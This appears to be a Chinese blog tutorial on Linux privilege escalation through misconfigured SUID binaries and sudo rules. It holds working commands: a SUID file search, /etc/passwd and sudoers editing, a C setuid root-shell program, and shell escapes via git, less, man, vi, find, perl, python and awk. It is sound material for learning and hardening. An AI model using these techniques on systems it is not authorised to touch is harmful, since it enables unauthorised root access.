常用Linux提权(非漏洞)

非漏洞提权是利用对系统的不正确配置导致的提权,区别于基于漏洞的提权方式

一.SUID提权

当以下命令具有SUID权限时,时非常危险的。

Note:

1.SUID只能设置二进制可执行文件

2.命令执行者要有该文件的执行权限

3.命令执行者执行二进制文件时会获得程序的属主身份

4.SUID权限只在程序执行过程中有效

给一个二进制文件赋予可执行权限(需要在root用户执行):

chmod u+s "文件"

查找具有suid权限的文件:

find / -perm -u=s -type f 2>/dev/null

1.利用cp提权

可以将/etc/passwd复制出来进行编辑,然后复制回/etc/passwd,非常容易利用。

2.利用vim提权

利用vim编辑/etc/passwd添加用户,或者编辑/etc/sudoers即可提权。

3.利用find提权

find可以添加-exec参数来对查找的结果进行处理,

find "一个已经存在的文件" -exec "whoami" \; 

Note:

1.必须是一个已经存在的文件,命令才能执行成功。

2.-exec命令需要以;结尾,但是;在bash中有特殊含义(代表代码块的结束),需要转义。

4.当自定义可执行文件具有SUID权限时提权

编译如下文件并添加SUID权限,在普通用户下执行该文件即可获得root的shell。

#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>

int main()
{
        setuid(geteuid());
        system("/bin/bash");
        return 0;
}

Note:

上述SUID提权只是一部分并不全面,如需更多SUID提权详细信息可以参考如下链接GTFOBins 。

二、sudo命令提权

当sudoers文件中某些用户包含某些命令的sudo权限时,可能导致提权问题发生。

sudo -l

查看当前用户有哪些sudo权限

 

1.git

sudo git help config

执行!/bin/bash 可以直接提权成功,less、man同理。

sudo less 文件,然后执行!bash。

sudo man man,然后执行!bash。

sudo vi,然后执行!bash。此时注意需要先输入冒号才能进入交互模式。 

 2.find

sudo find test -exec "/bin/bash" \;

 3.perl

sudo perl -e 'exec "/bin/bash";'

4.python

sudo python -c 'import pty;pty.spawn("/bin/bash")'

5.awk

sudo awk 'BEGIN {system("bash")}'

另外,当某些二进制文件具有sudo权限时,也会导致提权。

  • 4
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值